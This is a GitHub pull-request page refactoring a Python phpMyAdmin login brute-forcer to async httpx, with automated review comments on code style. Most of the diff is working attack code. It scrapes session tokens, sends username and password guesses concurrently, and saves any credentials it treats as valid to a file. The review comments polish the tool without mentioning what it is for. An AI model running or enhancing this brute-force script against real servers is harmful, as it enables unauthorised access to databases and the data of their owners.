-
Notifications
You must be signed in to change notification settings - Fork 36
refactor: migrate to async/await for improved performance and logging #8
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -1,71 +1,162 @@ | ||||||
| #!/usr/bin/env python3 | ||||||
| from ast import arg | ||||||
| from concurrent.futures import thread | ||||||
| import sys | ||||||
| import requests | ||||||
| import httpx | ||||||
| import html | ||||||
| import re | ||||||
| import os | ||||||
| import argparse | ||||||
| import threading, time | ||||||
| import asyncio | ||||||
| import logging | ||||||
| from datetime import datetime | ||||||
AndreaF17 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
|
|
||||||
| stop_flag = 0 | ||||||
| # Configure logging | ||||||
| logging.basicConfig( | ||||||
| level=logging.INFO, | ||||||
| format='%(asctime)s - %(levelname)s - %(message)s', | ||||||
| datefmt='%Y-%m-%d %H:%M:%S', | ||||||
| handlers=[ | ||||||
| logging.StreamHandler() | ||||||
| ] | ||||||
| ) | ||||||
| logger = logging.getLogger(__name__) | ||||||
|
|
||||||
| def login(url, username, password): | ||||||
|
|
||||||
| for i in range(3): | ||||||
| try: | ||||||
| res = requests.get(url) | ||||||
| cookies = dict(res.cookies) | ||||||
| data = { | ||||||
| 'set_session': html.unescape(re.search(r"name=\"set_session\" value=\"(.+?)\"", res.text, re.I).group(1)), | ||||||
| 'token': html.unescape(re.search(r"name=\"token\" value=\"(.+?)\"", res.text, re.I).group(1)), | ||||||
| 'pma_username': username, | ||||||
| 'pma_password': password, | ||||||
| } | ||||||
| res = requests.post(url, cookies=cookies, data=data) | ||||||
| cookies = dict(res.cookies) | ||||||
| #return 'pmaAuth-1' in cookies | ||||||
| print("[*] FOUND - %s / %s" % (username, password)) | ||||||
| f = open("found.txt", "w") | ||||||
| f.write("%s / %s\n" % (username, password)) | ||||||
| f.close() | ||||||
| stop_flag = 1 | ||||||
| except: | ||||||
| pass | ||||||
| print("[!] FAILED - %s / %s" % (username, password)) | ||||||
| # Suppress httpx logging | ||||||
| logging.getLogger("httpx").setLevel(logging.WARNING) | ||||||
|
|
||||||
| stop_flag = asyncio.Event() | ||||||
| progress_counter = 0 | ||||||
| progress_lock = asyncio.Lock() | ||||||
| total_tasks = 0 | ||||||
AndreaF17 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
|
|
||||||
| def bruteforce(users, passwords, url): | ||||||
| for user in users: | ||||||
| for password in passwords: | ||||||
| async def login(client, url, username, password, semaphore, outfile): | ||||||
| global progress_counter, total_tasks | ||||||
|
|
||||||
| # Check if another task already found credentials | ||||||
| if stop_flag.is_set(): | ||||||
| return | ||||||
|
|
||||||
| async with semaphore: | ||||||
| for i in range(3): | ||||||
| try: | ||||||
| if stop_flag == 1: | ||||||
| t.join() | ||||||
| exit() | ||||||
| t = threading.Thread(target = login, args = (url, user, password)) | ||||||
| t.start() | ||||||
| time.sleep(0.2) | ||||||
| except KeyboardInterrupt: | ||||||
| t.join() | ||||||
| print("Cancelling") | ||||||
| exit() | ||||||
| res = await client.get(url) | ||||||
| cookies = dict(res.cookies) | ||||||
| data = { | ||||||
| 'set_session': html.unescape(re.search(r"name=\"set_session\" value=\"(.+?)\"", res.text, re.I).group(1)), | ||||||
| 'token': html.unescape(re.search(r"name=\"token\" value=\"(.+?)\"", res.text, re.I).group(1)), | ||||||
| 'pma_username': username, | ||||||
| 'pma_password': password, | ||||||
| } | ||||||
| res = await client.post(url, cookies=cookies, data=data) | ||||||
| cookies = dict(res.cookies) | ||||||
|
|
||||||
| t.join() | ||||||
| logger.info(f"[FOUND] {username} / {password}") | ||||||
| with open(outfile, "w") as f: | ||||||
| f.write("%s / %s\n" % (username, password)) | ||||||
|
Comment on lines
+54
to
+55
|
||||||
| stop_flag.set() | ||||||
| return | ||||||
AndreaF17 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
| except Exception as e: | ||||||
| pass | ||||||
AndreaF17 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
|
|
||||||
| # Update progress | ||||||
| async with progress_lock: | ||||||
| progress_counter += 1 | ||||||
| percentage = (progress_counter / total_tasks) * 100 | ||||||
AndreaF17 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
| print(f"Progress: {percentage:.1f}% ({progress_counter}/{total_tasks})", end='\r') | ||||||
AndreaF17 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
|
|
||||||
|
|
||||||
| async def bruteforce(users, passwords, url, max_threads=50, outfile="found.txt"): | ||||||
| global total_tasks, progress_counter | ||||||
|
|
||||||
| try: | ||||||
| logger.info(f"Starting bruteforce attack on {url}") | ||||||
| logger.info(f"Testing {len(users)} user(s) with {len(passwords)} password(s)") | ||||||
| logger.info(f"Max concurrent threads: {max_threads}") | ||||||
|
||||||
| logger.info(f"Max concurrent threads: {max_threads}") | |
| logger.info(f"Max concurrent tasks: {max_threads}") |
Copilot
AI
Feb 27, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Magic number 1.0 for estimated_time_per_request is hardcoded without explanation. This estimate is likely inaccurate since the code makes 2 HTTP requests per attempt (GET then POST) and includes retry logic (up to 3 attempts). Consider making this configurable or documenting why this specific value was chosen.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Unused import 'arg' from 'ast' module. This import appears to be leftover from previous code and is not used anywhere in the file.